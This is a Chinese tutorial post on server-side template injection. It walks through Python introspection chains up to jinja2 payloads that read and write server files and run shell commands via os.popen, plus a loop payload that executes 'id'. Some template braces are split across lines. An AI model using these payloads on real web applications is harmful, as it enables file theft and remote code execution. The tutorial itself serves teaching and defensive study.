一、什么是SSTI
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
SSTI
1.简单例子
$output = $twig->render("Hello {
{name}}", array("name" => $_GET["name"])); echo $output;
进行以下输入:
>>> ''.__class__ <type 'str'> >>> ().__class__ <type 'tuple'> >>> [].__class__ <type 'list'> >>> {
}.__class__ <type 'dict'>
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
>>> ().__class__.__bases__ (<type 'object'>,) >>> ''.__class__.__bases__ (<type 'basestring'>,) >>> [].__class__.__bases__ (<type 'object'>,) >>> {
}.__class__.__bases__ (<type 'object'>,) >>> [].__class__.__bases__[0] <type 'object'>
__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
可以直接用object.subclasses(),
获取基类还能用还有__mro__,比如:
>>> ''.__class__.__mro__ (<class 'str'>, <class 'object'>) >>> [].__class__.__mro__ (<class 'list'>, <class 'object'>) >>> {
}.__class__.__mro__ (<class 'dict'>, <class 'object'>) >>> ().__class__.__mro__ (<class 'tuple'>, <class 'object'>) >>> ().__class__.__mro__[1] //使用索引就能获取基类了 <class 'object'>
//获取基本类 ''.__class__.__mro__[1] {
}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] object //读文件 ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() object.__subclasses__()[40](r'C:\1.php').read() //写文件 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') object.__subclasses__()[40]('/var/www/html/input', 'w').write('123') //执行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
上面漏洞复现时候的payload也是很强了,用类于编程的方式来展现,不用再一个个去查索引了:
{
% for c in [].__class__.__base__.__subclasses__() %} {
% if c.__name__ == 'catch_warnings' %} {
% for b in c.__init__.__globals__.values() %} {
% if b.__class__ == {
}.__class__ %} {
% if 'eval' in b.keys() %} {
{
b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令 {
% endif %} {
% endif %} {
% endfor %} {
% endif %} {
% endfor %}
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/178982.html原文链接:https://javaforall.net
